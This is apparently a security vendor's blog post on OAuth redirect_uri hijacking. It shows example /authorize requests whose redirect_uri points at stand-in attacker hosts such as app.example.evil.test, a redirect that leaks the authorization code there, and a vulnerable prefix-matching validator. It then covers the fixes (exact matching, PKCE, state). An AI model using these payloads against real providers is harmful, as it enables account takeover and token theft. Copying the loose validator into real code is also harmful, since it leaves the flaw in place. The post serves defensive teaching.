Open RedirectOAuth redirect_uri

OAuth redirect_uri Hijacking: Stealing Tokens Through a Loose Redirect

When an OAuth provider validates redirect_uri loosely, the authorization code meant for the real app is delivered to an attacker. Here is how the bypass works and how exact matching, PKCE and state shut it down.

SelfSec Team4 min read
Part 2 of 2from theOpen Redirectseries
redirect_uri=app.example.evil.test
On this page

A generic open redirect borrows your domain's credibility to bounce a victim somewhere they should not go. In an OAuth or OIDC flow the same loose validation does something far worse: the redirect_uri is where the authorization server hands back the authorization code or access token. If the provider accepts a destination the attacker influenced, it ships the victim's credential straight to the attacker. The redirect is no longer about navigation — it is about who receives the secret.

The weak point is the redirect_uri check at the /authorize endpoint. Registered URIs are meant to be a closed allowlist, but providers that match by prefix, subdomain or substring leave room to slip in an attacker-controlled destination — or to chain an open redirect on the legitimate redirect host so the code is forwarded off-site. This post walks the hijack end to end and shows why exact matching, PKCE and state are the controls that actually hold.

How it happens

The flow begins when the client sends the user to the provider's authorization endpoint, naming where the result should come back:

GET /authorize?response_type=code
 &client_id=shop-web
 &redirect_uri=https://app.example/callback
 &state=9f2c... HTTP/1.1
Host: login.provider.example

After the user consents, the provider redirects back with a one-time code that the client exchanges for tokens. The security of the whole exchange rests on one assumption: that code only ever reaches a destination the client truly owns. Providers enforce that by comparing the inbound redirect_uri against the values registered for client_id. The vulnerability appears when that comparison is loose:

function isAllowed(registered, requested) {
  return requested.startsWith(registered);
}

Prefix matching feels safe and is not. https://app.example is a prefix of https://app.example.evil.test, of https://[email protected], and of https://app.example/../redirect?to=evil.test. Any matcher that is happy with "starts with", "is a subdomain of", or "contains" the registered value can be coaxed into approving a destination the attacker controls.

A concrete attack

The attacker sends the victim an authorization link for the real client, but with a redirect_uri that survives the loose check while resolving to attacker infrastructure:

GET /authorize?response_type=code
 &client_id=shop-web
 &redirect_uri=https://app.example.evil.test/callback
 &state=9f2c... HTTP/1.1
Host: login.provider.example

The victim sees login.provider.example, recognizes a session they are already signed into, and approves. The provider's prefix check passes, so it redirects with the code attached:

HTTP/1.1 302 Found
Location: https://app.example.evil.test/callback?code=SplxlOBeZQQ&state=9f2c...

The code lands on the attacker's server. They replay it against the provider's token endpoint with the public client_id and receive the victim's access token. Where the provider does enforce an exact host but the legitimate callback host carries an open redirect, the attacker registers redirect_uri=https://app.example/go?next=https://evil.test; the provider approves the real host, then that host forwards the browser — code and all — to the attacker. Either way, the credential ends up in the wrong hands.

The provider did issue a valid code for the right user. The only thing the attacker bent was where it was delivered — and in OAuth, the delivery address is the secret's last line of defence.

What an attacker gains

A code or token in the attacker's hands is account access, not just a detour:

  • Account takeover — the stolen authorization code is exchanged for the victim's tokens and the attacker acts as them.
  • Token theft in the implicit flow — when the token rides back in the URL fragment, a loose redirect_uri leaks it directly.
  • Scope-wide API access — the captured token carries whatever scopes the victim granted, from profile reads to write operations.
  • Quiet, brand-backed phishing — the lure runs entirely through the real provider's consent screen, defeating "check the domain" advice.

The fix: exact-match the redirect, bind the code with PKCE and state

Treat the registered redirect_uri as an exact, closed allowlist. Compare the full string — scheme, host, port and path — and reject anything that is not an entry you stored. No wildcards, no prefix or subdomain matching, no substring contains:

const REGISTERED = new Set([
  "https://app.example/callback",
  "https://app.example/oauth/done",
]);

function isAllowed(requested) {
  return REGISTERED.has(requested);
}

Exact matching removes the room the bypasses live in. Layer two more controls on top. Use PKCE: the client sends a code_challenge on /authorize and the matching code_verifier at token exchange, so a code captured in transit is useless without the secret that never left the real client. Validate state: generate it per request, bind it to the user's session, and reject any callback whose state does not match — that stops the forged authorization requests these attacks depend on. Finally, keep the callback host free of open redirects so a strictly-matched URI cannot be turned into a forwarder.

How SelfSec finds it

SelfSec discovers OAuth and OIDC authorization endpoints during the crawl, then varies the redirect_uri with the registered host wrapped in attacker variants — subdomain (app.example.evil.test), userinfo ([email protected]), path-traversal and appended segments — to probe for prefix, subdomain and substring matching. It confirms a finding only when the provider actually issues a redirect carrying the code or token to the attacker-controlled host, by inspecting the Location header, and it flags callbacks that forward the code through an open redirect on the legitimate host. The whole scan runs locally on 127.0.0.1, your targets and findings stay on your machine, and every finding ships with a reproduction request you can replay.

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about Open Redirect

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The Open Redirect series

  1. 01OverviewOpen Redirect: How Your Trusted Link Sends Users to an Attacker3 min
  2. 02OAuth redirect_uriOAuth redirect_uri Hijacking: Stealing Tokens Through a Loose RedirectReading

Related reading